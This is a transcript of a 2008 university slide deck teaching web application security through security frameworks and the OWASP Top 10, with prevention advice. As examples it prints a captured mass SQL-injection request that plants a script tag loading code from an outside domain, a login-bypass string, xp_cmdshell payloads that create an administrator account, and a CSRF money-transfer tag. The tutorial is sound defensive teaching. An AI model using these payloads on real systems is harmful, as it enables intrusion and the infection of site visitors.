Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Application Security Tutorial

Web Application Security Tutorial

From 2008, most of this is still relevant.

Avatar for Neil Matatall

Neil Matatall

March 17, 2008
Tweet

More Decks by Neil Matatall

Other Decks in Programming

Transcript

  1. Web Application Security 10/28/2008 Neil Matatall, Security Programmer Analyst Marina

    Arseniev, Director – Enterprise Architecture, Security, and Data Management Services Copyright © 2008 The Regents of the University of California All Rights Reserved. Permission is granted for this material to be shared for non-commercial, educational purposes, provided that this copyright statement appears on the reproduced materials.
  2. Puzzle – What is this? "GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CH AR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686172 28323535292C40432076617263686172283430303029204445434C41524520

    5461626C655F437572736F7220435552534F5220464F522073656C65637420 612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320 612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D39 39206F7220622E78747970653D3335206F7220622E78747970653D3233312 06F7220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D20205461626C655F43757273 6F7220494E544F2040542C4043205748494C4528404046455443485F535441 5455533D302920424547494E20657865632827757064617465205B272B4054 2B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E 3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646 F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372697 0743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B 6520272725223E3C2F7469746C653E3C736372697074207372633D2268747 4703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223 E3C2F7363726970743E3C212D2D272727294645544348204E455854204652 4F4D20205461626C655F437572736F7220494E544F2040542C404320454E4
  3. Answer • "GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE% 20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE

    Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor • http://www.dolcevie.com/js/converter.html
  4. Do you know? 75% of attacks today happen at the

    Application Layer (Gartner). Many “easy hacking recipes” published on web. Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable. The cost and reputation savings of avoiding a security breach are “priceless”
  5. High Schools hacked by High Schoolers http://www.privacyrights.org • May 2007

    17,400 identities breached – Two high school seniors hacked into the district's computer network potentially compromising the personal information including Social Security numbers of students and employees. • March 2008 35,000 identities breached – A Technical High School senior hacked into a district computer and collected Social Security numbers and employee addresses • May 2008 50,000 identities breached – A 15-year-old student gained access to files on a computer at Downingtown West High School. Private information - names, addresses and Social Security numbers were accessed
  6. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    Open Web Application Security Project (OWASP) Top 10 list Additional Vulnerability Topics Integrating Security into the Software Development Life Cycle (SDLC) Procurement Practices Tools Please use printed Glossary as needed!
  7. Essentials of a Comprehensive Web Security Program – 33 Principles

    National Institute of Standards and Technology (NIST) Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security • Security Foundation – Establish a sound security policy as the “foundation” for design – Treat security as an integral part of the overall system design. – Delineate the physical and logical security boundaries governed by associated security policies – Train developers on secure software • Risk Based – Reduce risk to an acceptable level – Assume external systems are insecure – Identify potential trade-offs between reducing risk and increased costs and decrease in other aspects of operational effectiveness – Implement tailored system security measures to meet goals – Protect information while processed, in transit, and in storage. – Consider custom products to achieve adequate security – Protect against all likely classes of “attacks”
  8. 33 Principles - Continued • Ease of Use – Use

    open security standards for portability and interoperability – Use common language in developing security requirements. – Design security to allow for regular adoption of new technology. – Strive for operational ease of use. • Increase Resilience – Implement layered security (no single point of vulnerability). – Design and operate an IT system to limit damage - be resilient – Assure system is continually resilient to expected threats – Limit or contain vulnerabilities. – Isolate public access systems from mission critical resources – Use boundary mechanisms to separate computing systems and network infrastructures. – Design and implement audit mechanisms to detect unauthorized use and for incident investigations. – Develop and exercise contingency / disaster recovery procedures
  9. 33 Principles - Continued • Reduce Vulnerabilities – Strive for

    simplicity – Minimize the system elements to be trusted – Implement least privilege – Do not implement unnecessary security mechanisms. – Ensure proper security in the shutdown or disposal of a system – Identify and prevent common errors and vulnerabilities • Design with Network in mind – Implement security through a combination of measures distributed physically and logically – Formulate security measures to address multiple overlapping information domains – Authenticate users and processes to ensure appropriate access control decisions – Principle 33. Use unique identities to ensure accountability
  10. Security Frameworks – a few CobIT Control Objective over Information

    and Related Technology (CobIT). Issued by the IT Governance Institute for managers, auditors, and IT users. – An internationally accepted IT governance and control framework for risk management, audits, measures, best practices, controls, and security. ITIL The Information Technology Infrastructure Library (ITIL) is a set of concepts and techniques for managing IT infrastructure, development, and operations. – Security is not covered in great detail.
  11. Security Frameworks – Continued NIST The National Institute of Standards

    and Technology (NIST) is a non- regulatory federal agency within the U.S. Commerce Department’s Technology Administration. – The Federal Information Security Management Act (2002) set aside money for NIST to develop new standards for securing government agencies.
  12. NIST Recommended Security Controls for Federal Information Systems http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf –

    188 pages IDENTIFIER FAMILY CLASS 1. AC Access Control Technical 2. AT Awareness and Training Operational 3. AU Audit and Accountability Technical 4. CA Certification, Accreditation, and Security Assessments Management 5. CM Configuration Management Operational 6. CP Contingency Planning Operational 7. IA Identification and Authentication Technical 8. IR Incident Response Operational 9. MA Maintenance Operational 10. MP Media Protection Operational 11. PE Physical and Environmental Protection Operational 12. PL Planning Management 13. PS Personnel Security Operational 14. RA Risk Assessment Management 15. SA System and Services Acquisition Management 16. SC System and Communications Protection Technical
  13. Security Frameworks – Continued ISO 27001:2005 The International Organization for

    Standardization (ISO) is the world’s largest developer of standards. ISO 27001 consists of short security control statements. – It helps identify, manage and quantify threats and creates a level playing field that can be applied worldwide. – Benchmarking against it can be a useful indicator of core security controls and practices. – Why doesn’t the acronym match?
  14. ISO 27001 Controls • Security policy • Organization of assets

    and resources • Asset classification and control - asset protection • Personnel security • Physical and environmental security • Communications and operations management • Access control • Systems development and maintenance • Information security incident management • Business continuity management • Compliance
  15. ISO 27001 Control examples • acceptable use and control of

    databases • control of network system user access rights • locks on doors (types of) • equipment location • cabling security • Email policy and enforcement • capacity planning • information back-up • network security • business continuity plans • contracts of employment • third party agreements • electronic commerce • privacy of personal information • information leakage, publicly available information • controls against malicious code • fault and security event logging • input and output data validation • user authentication for external connections etc.
  16. Security Frameworks – Continued PCI DSS • The Payment Card

    Industry Data Security Standards (PCI DSS) is a security standard to protect customer credit card data. – Includes requirements for security management, policies, procedures, network architecture, and software design. – Developed by the PCI Security Standards Council, including American Express, Discover Financial Services, JCB International, MasterCard Worldwide and Visa Inc. International. – Facilitates the broad adoption of consistent data security measures globally. – Compliance is required if credit cards are processed – fined otherwise.
  17. PCI DSS – Payment Card Industry Data Security Standard Requirements

    https://www.pcisecuritystandards.org/index.shtml • Build and Maintain a Secure Network – Install and maintain a firewall configuration to protect cardholder data – Do not use vendor-supplied defaults for system passwords and other security parameters • Protect Cardholder Data – Encrypt transmission of cardholder data across open, public networks • Maintain a Vulnerability Management Program – Use and regularly update anti-virus software – Develop and maintain secure systems and applications • Implement Strong Access Control Measures – Restrict access to cardholder data by business need-to-know – Assign a unique ID to each person with computer access – Restrict physical access to cardholder data • Regularly Monitor and Test Networks – Track and monitor all access to network resources and cardholder data – Regularly test security systems and processes • Maintain an Information Security Policy
  18. PCI DSS – Self-Assessment Questionnaire D and Attestation of Compliance

    – 27 pages! https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc • Section 6.5(a) Are all web applications developed based on secure coding guidelines such as the Open Web Application Security Project guidelines? • Section 6.5(b) Is custom application code reviewed for code vulnerabilities? • Section 6.5(c) Is prevention of common coding vulnerabilities covered in software development processes, including the following? – Unvalidated input, broken access control, broken authentication and session management, cross-site scripting attacks, buffer overflows, injection flaws, improper error handling? • Section 6.6 – Are all web-facing applications protected by applying either of: – Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security – Installing an application layer firewall in front of web-facing applications
  19. Adoption of a Standard Which standards are best? • ISO

    and NIST are expensive to implement comprehensively • ISO, CobIT, PCI are applicable if dealing globally • PCI is relatively short, extremely detailed and comprehensive Think about applying PCI DSS to non-credit card taking Web environment. We are…
  20. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    – ISO, NIST, PCI… Open Web Application Security Project (OWASP) Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools
  21. OWASP’s Top 10 List 1. Cross Site Scripting (XSS) 2.

    Injection Flaws a) SQL Injection, XPATH Injection, etc 3. Malicious File Execution (remote file inclusion) 4. Insecure Direct Object Reference 5. Cross Site Request Forgery (CSRF) 6. Information leakage and Improper Error Handling 7. Broken Authentication and Session Management 8. Insecure Cryptographic Storage 9. Insecure Communications 10. Failure to Restrict URL Access From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  22. Themes of this Talk • NEVER trust user input! Always

    validate! – This includes headers! – Verify the type and length of parameters • Syntactic sugar and “clever” programming tricks can lead to security holes • Always, always, always, use whitelists instead of blacklists • Use the principle of least privileges
  23. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  24. Websites XSS’d • A hacker was able to insert JavaScript

    code into the Obama community blog section – The JavaScript would redirect the users to the Hillary Clinton website – YouTube Demonstration – Read about it on ChannelWeb • Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs.
  25. The Impact of XSS • Data residing on the web

    page can be sent anywhere in the world – Including cookies! • Facilitates many other types of attacks – Cross-Site Request Forgery (CSRF), Session Attacks (more later) • Your site’s behavior can be hijacked
  26. Preventing XSS • Escape all user input when it is

    displayed – Escaping converts the output to harmless html entities • <script> becomes &lt;script&gt; • but still displayed as <script> – Methods: • Java Standard Tag Llibrary (JSTL) <c:out/> • org.apache.commons.lang.StringEscapeUtils • NOTE: Java’s Expression Language (EL) does not escape output!
  27. Preventing XSS - Continued • Ensure your filter uses a

    white list approach – Filters based on blacklisting have historically been flawed • E.g. Ruby on Rails sanitize method – New encoding schemes can easily bypass filters that use a blacklist approach • Do not accept and reflect unsolicited input – Reflecting every parameter for confirmation pages – Printing out the session/request parameters in error pages • Great XSS resource: http://ha.ckers.org/xss.html
  28. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  29. Cross Site Request Forgery (CSRF) From http://www.owasp.org/index.php/Top_10_2007 : “A CSRF

    attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks. “
  30. Cross Site Request Forgery (CSRF) • Occurs when an authenticated

    user unknowingly initiates a request • The request is handled as if it were intentional – Usually happens without the user being aware! • CSRF attacks are difficult to track – Commands are executed in the context of the victim – The request comes from the users IP address so it is difficult to hunt down the hacker • The hacker is essentially given all of the user’s privileges • XSS facilitates CSRF via “Link Injection”
  31. CSRF Example • A hacker posts to a message board

    containing an image tag – <img src= “http://yourbank.com/transfer? to_account=my_account_number&amount=all_of_your_money> • An unsuspecting user logs into yourbank.com and authenticates • The user then visits said message board • A request is issued from the victim’s browser to the bank’s website • The bank’s website transfers the user’s money to the hacker’s account
  32. Solution • Add a secondary authentication mechanism – Such as

    an impossible to guess token • Eliminate XSS attacks • Require a confirmation page before executing potentially dangerous actions • Use POST as your form action and only accept POST requests on the server for sensitive data ! – Incoming CSRF requests will fail since the parameter is in the URL and not the post body
  33. Post vs Get • Requests come in two flavors: POST

    & GET – GET: parameters are sent in the URL itself. – POST: parameters are sent in the request body • DO NOT use GET for anything that changes the server state or contains sensitive information – GET requests are logged in the web server access logs – Also shows up in the browser history – For example GET /login? username=me&password=suparsekretpasswerd • DO use POST for every action that changes the server state and reject all non-POST methods – <Script>, Image, Link and some other HTML tags ALWAYS use GET. By accepting POST only on Server, vulnerability is mitigated. – Prevents unintentional actions – Most search engines won’t crawl POST forms – Helps prevent duplicate submissions
  34. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  35. Chinese Olympian Gymnast Age Confusion • He Kexin’s age is

    under a lot of scrutiny • Her passport shows her birth date as 1/1/1992 • Using the cache from a Chinese search engine Baidu, the Stryde Hax group found multiple Excel documents listing He’s birth date as 1/1/1994 • Assume all information can become public
  36. Information Leakage and Improper Error Handling • ANY information you

    give to a hacker CAN and WILL be used to hack your site • Remove passwords or other revealing information in source code • Application / Database Error Messages • Misconfigured servers • This information may be indexed by search engines!
  37. Application Error Messages ERROR [credit-card-db] (MySqlSystem.java:1331) - Invalid column name

    java.sql.SQLException: Invalid column name ‘social_security_numbre’: select username, password, ssn from users where id = ? sun.jdbc.rowset.CachedRowSet.getColIdxByName(CachedRowSet.java:1383)\ at com.mysql.Driver.MySQLDriver.a(MySQLDriver.java:2531) at sun.jdbc.rowset.CachedRowSet.getString(CachedRowSet.java:2167) at com.ppe.db.MySqlSystem.getReciPaying(MySqlSystem.java:1318) at control.action.FindUserAction.perform(FindKeyUserAction.java:81) at org.apache.struts.action.ActionServlet.processActionPerform(ActionServlet) at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1586) at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:492) at javax.servlet.http.HttpServlet.service(HttpServlet.java:740) at javax.servlet.http.HttpServlet.service(HttpServlet.java:853) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Appl icationFilterChain.java:247)
  38. Misconfigured, Default Settings, Unpatched Systems • By default, you may

    already be leaking information! • Includes all “infrastructure” applications – Web Server (Apache) • Access logs are public by default • Directory listing is enabled by default – Application Server (Tomcat, PHP, Coldfusion, etc) – Database Server (MySQL, MS-SQL, etc) • Public accounts enabled by default for MS SQL Server – 3rd party applications (PHP message board, webmail, etc) • Hackers look for easy access to your server – Exploit a known vulnerability if infrastructure application doesn’t have latest patches – Gain access to server using default credentials – Use default installed “snoop” or example pages to learn more about your server
  39. Forced Directory Browsing • Try to force directory browsing by

    eliminating anything past the various “/” in the URLs of your web application – If directory browsing is allowed on your web server, files you don’t want public could be displayed or at the least give the hacker more information about your system
  40. Robots.txt • robots.txt files are the first place hackers look

    – Robots.txt is web accessible and contains URLs you don’t want indexed by a search engine. This might be the kind of data hackers want – Use access controls instead
  41. Google Hacking • Popularized by johnny.ihackstuff.com • Uses Google search

    engine and advanced query abilities to find insecure data files and misconfigured/unpatched servers indexed on the Web • Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed
  42. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  43. Insecure Direct Object Reference • “A direct object reference occurs

    when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.” • Fancy term for parameter tampering • Involves modifying parameters to access unauthorized materials • E.g. /BankAccount.jsp?acct_nmbr=123 – The hacker modifies the parameter to view another users account
  44. Solution • Properly validate data! – Cookie data, URL parameters,

    all HTML Form data (even hidden, select, radio and checkbox types) – Restricting length of HTML text boxes, options in select boxes, and JavaScript validation can all be easily sidestepped and are not secure – All input data MUST be validated server side for each request – client side validation is EASILY bypassed • Do not expose internals to the user – Such as IDs (if possible/necessary) • Use an indirect reference map with hard to guess keys (hash) – POST /BankAccount.jsp?acct_nmbr=d83OJdm3 – The server then uses the key to get the real value • Key: d83OJdm3 value: 123
  45. Use Proper Authorization • Architect your application to check authorization

    with every request • Back to the bank example – Before: select * from accounts where account_number = ? – After: select * from accounts where account_number = ? and user_id =?
  46. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  47. Failure to Restrict URL Access • “Frequently, an application only

    protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. “ • Can be caused by: – Improper authentication – Incorrect authorization – Unprotected admin areas • Usually caused by easy to guess URLs
  48. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  49. UCLA Security Incident • 30,000 people affected directly; 800,000 notifications

    sent out 12/2006 • Unsupported/forgotten legacy web application was targeted with escalated database privileges • Web application vulnerability exposed data online using SQL injection • Hacked server was then used to gain access to more sensitive servers
  50. Impact of SQL Injection - Dangerous • At best: you

    can leak information • Depending on your configuration, a hacker can – Delete, alter or create data – Grant access to the hacker silently – Escalate privileges and even take over the OS
  51. SQL Injection Attacks “SQL injection is a security vulnerability that

    occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)
  52. SQL Injection Attacks • Login Example Attack – Text in

    blue is your SQL code, Text in orange is the hacker input, black text is your application code – Login: Password: • Dynamically Build SQL String performing authentication: – “SELECT * FROM users WHERE login = ‘” + userName + “’ and password= ‘” + password + “’”; • Hacker logs in as: ‘ or ‘’ = ‘’; -- – SELECT * FROM users WHERE login = ‘’ or ‘’ = ‘’; --‘ and password=‘’
  53. More Dangerous SQL Injection Attacks • Hacker creates a Windows

    Account: – SELECT * FROM users WHERE login = ‘’; exec master..xp_cmdshell 'net users username password /add';--’ and password= ’’ • And then adds himself as an adminstrator: – SELECT * FROM users WHERE login = ‘'; exec master..xp_cmdshell 'net localgroup Administrators username /add';--’ and password= ‘’ • SQL Injection examples are outlined in: – http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf – http://www.unixwiz.net/techtips/sql-injection.html
  54. Preventing SQL injection • Use Prepared Statements (aka Parameterized Queries)

    – “select * from accounts where id = “ + id vs – “select * from accounts where id =?” • Validate input – Strong typing • If the id parameter is a number, try parsing it into an integer – Business logic validation • If you are expecting a telephone number, test it with a Regular Expressions
  55. Preventing SQL injection - Continued • Use the principle of

    least privileges – If the query is reading the database, do not run the query as a user with update permissions (dbo, drop, etc) – Quiz: Is running a Web Application as the Database System Admin “sa” account a good practice? • ESCAPE questionable characters (ticks, --, semi- colon, brackets, etc.)
  56. Injection Impacts More Than SQL • “Injection Flaw” is a

    blanket term • SQL Injection is most prevalent • Other forms: – XPath Injection – Command Injection – LDAP (Lightweight Directory Access Protocol) Injection – DOM (Document Object Model) Injection – JSON (Javascript Object Notation) Injection – Log Spoofing – On and on and on…
  57. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  58. Malicious File Execution • “Code vulnerable to remote file inclusion

    (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.” • Happens when code is executed on the server from a non-trusted source – All web applications are vulnerable to malicious file execution if they accept filenames or files from the user. • Classic example: PHP is particularly vulnerable – Hacker visits a website that allows uploads – Hacker uploads a malicious code – Hacker learns directory structure and sends the path as a parameter – PHP code is executed on the server • include $_REQUEST[‘filename’];
  59. Impact • Code runs as the current user for the

    web server – Can modify, delete anything the user has access to – Can install rootkits – Can take over the entire server if misconfigured (a.k.a. the web server runs as root)
  60. Solution • Architect and design application to avoid it. –

    Never allow the design to use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions). – Never use a parameter to execute a Server Side Include directly • Add firewall rules to prevent web servers making new connections to external web sites and internal systems. • Isolate web server in its own VLAN or private subnet. • Use an indirect object reference map • Validate - check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other control
  61. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  62. Insecure Communication • Sensitive information being sent over an unencrypted

    channel can be snooped very easily • Use SSL to pass sensitive information to and from browsers • Encrypt the transmission of email • Encrypt authentication requests
  63. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  64. Authentication Checks • From http://www.owasp.org/index.php/Top_10_2007 “Account credentials and session tokens

    are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.” • Never store passwords in plaintext – Encrypt or Hash (preferred) • Architect applications to check every request to see that the authentication data is still valid • Issue a new session token when the user authenticates • If you absolutely must use “remember me” functionality, use a difficult to guess authentication cookie • Authentication data is sent with every request, so protect it
  65. Session Attacks • Session Fixation: The hacker predicts a valid

    session key (usually via phishing) • Session Hijacking: The hacker masquerades as another user by stealing the users session id (usually via XSS)
  66. Solution • Use built in session management! – Most application

    servers do a pretty good job of this • Use secure randomly generated session keys to make prediction impossible – Don’t expose the user to session ids if possible • Use reasonable session timeouts
  67. This Presentation's Re-ordered Top 10 List 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws a) SQL Injection, XPATH Injection, etc 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
  68. Insecure Cryptographic Storage • From http://www.owasp.org/index.php/Top_10_2007 : “Web applications rarely

    use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.” • Use latest standard encryption methods – They are standards for a reason! And they change over time • Use strong standard encryption methods – Stop using Message-Digest Algorithm 5 (MD5), Secure Hash Algorithm (SHA1), Data Encryption Standard (DES) – Use SHA-256, Advanced Encryption Standard (AES), Rivest/Shamir/Adleman Public Key Encryption (RSA) • Encrypt stored passwords with above methods
  69. Agenda • Essentials of a Comprehensive Web Security Program •

    Security Frameworks – ISO, NIST, PCI… • OWASP’s Top 10 list • Additional Vulnerability Topics • Integrating Security into the SDLC • Procurement Practices • Tools
  70. Concurrency: Thread Safety • Web applications are by nature multithreaded

    • Access to unsynchronized shared resources can cause unexpected results • Use automated tools such as JMeter to reliably test • Reference on Java Web Application Thread Safety
  71. Impacts of Threading Problems • One user’s information can be

    displayed to another user – Or even worse, one user’s information gets stored as another user’s • Can cause unexpected application behavior
  72. The Problem (Java Code) // this.current user corresponds to a

    class field this.currentUser = request.getParameter (USER_NAME, ""); if (!"".equals(currentUser)) { doActionThatBlocksForAWhile(); String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'"; ...snip.... } This is actually a double-whammy! Who sees the “other” mistake?
  73. Solutions • Every thread gets its own copies of local

    variables – Does not apply to fields (or static variables) • Use immutable objects whenever possible – Immutable objects cannot be changed • Use synchronized access objects – E.g. Java: Hashtable, Vector, etc – Vs HashMap, ArrayList, etc
  74. Web Services • Web Services allow multiple applications to interface

    remotely – Promotes interoperability • We will focus on two types: – REST: REpresentational State Transfer – SOAP: Simple Object Access Protocol • “Testing can be more challenging due to not having a ‘normal’ interface” – Gunnar Peterson
  75. REST • Uses existing HTTP structure • Guidelines: – Must

    use SSL to protect the messages – Use hashes to verify integrity • Advantages: – No dependencies for security; uses built in infrastructure – Encryption is done at the network layer
  76. SOAP • SOAP security benefits from being heavily standardized when

    compared to other technologies – Managed by Organization for the Advancement of Structured Information Standards (OASIS) – Interoperability is a high priority • Security is managed by a “Handler Chain” – Handlers are independent and can selectively apply “security” – Order matters! • The server will execute each Handler in reverse order from the client. Incorrect execution order can lead to garbage data!
  77. SOAP - Continued • Provides end-to-end security at the Application

    Layer or the Network Layer – Message contents can be selectively encrypted or the entire message can be encrypted by SSL
  78. SOAP Security Recommendations • Always validate input (yes, again) –

    Input from a web service call is just as susceptible to malicious input From Security Concepts, Challenges, and Design Considerations for Web Services Integration
  79. SOAP Security Recommendations - Continued • Secure your Web Service

    Definition Language WSDL – Your WSDL leaks the interface to your web services • Use proper access controls methods • Defend against XDoS (XML Denial-of-service) – DO NOT use Document Type Definition DTDs* – vulnerable to infinite recursion, use XML schemas instead – Throttle incoming messages From Security Concepts, Challenges, and Design Considerations for Web Services Integration
  80. SOAP Standards: WS-* (Web Services-*) • WS-Security – Includes authentication,

    Kerberos, X.509, SAML, Attachment mechanisms among others • XML encryption and digital signatures – Protects the privacy and integrity of your messages respectively • WS-SecureConversation – Provides a “session” to the stateless SOAP • WS-Policy – set of specifications that describe the capabilities and constraints of the security policies on intermediaries and end points and how to associate policies with services and end points • WS-Reliability – a protocol that allows SOAP messages to be delivered reliably between distributed applications in the presence of software component, system, or network failures » Many more…
  81. AJAX Security • Cutting edge in terms of web interfaces

    and security practices • Susceptible to “shortcut” issues related to inexperienced developers • Difficult! • Easily overused when traditional methods are not only safer, but functional
  82. Potential Issues With AJAX • Responses are sent to the

    browser, JavaScript code updates the page • Be careful what you send back – Do not leak information • Do NOT trust values that were fed via AJAX • Update code is CLIENT side – The user can see the code being executed – Can take advantage of code more easily
  83. Tips • Do NOT overuse AJAX • Do processing on

    the server side if possible – Send raw html back to the client • Do not return more information than is necessary to complete the request • Always validate your input!
  84. JavaScript Hijacking • Attack vector mostly specific to AJAX •

    XSS + CSRF = JavaScript Hijacking • Exploits JavaScript’s flexibility – You are free to override ANYthing in JavaScript including the base object constructor! – Exploits your trust in the “same-origin policy” Fortify's White Paper
  85. How does it work? • The user visits an unfriendly

    site and executes the following JavaScript function Object() { this.id setter = function (x){ doBadStuff (x) } } – The hacker overrides the JavaScript default behavior • The unfriendly site makes a request to a friendly site – <*script src="http://mail.google.com/mail/?_url_scrubbed_"> – Similar to CSRF, if the user has authenticated the cookies are sent with the request (exploits your trust in the same origin policy) • Suppose the request returns JSON – [{“id”:”123”, “password”:”educause”,“salary”:”4000000”}] • The returned JSON gets executed; the overridden setter hook gets called
  86. Solution Two strategies (Fortify Software recommends both) Declining Malicious Requests

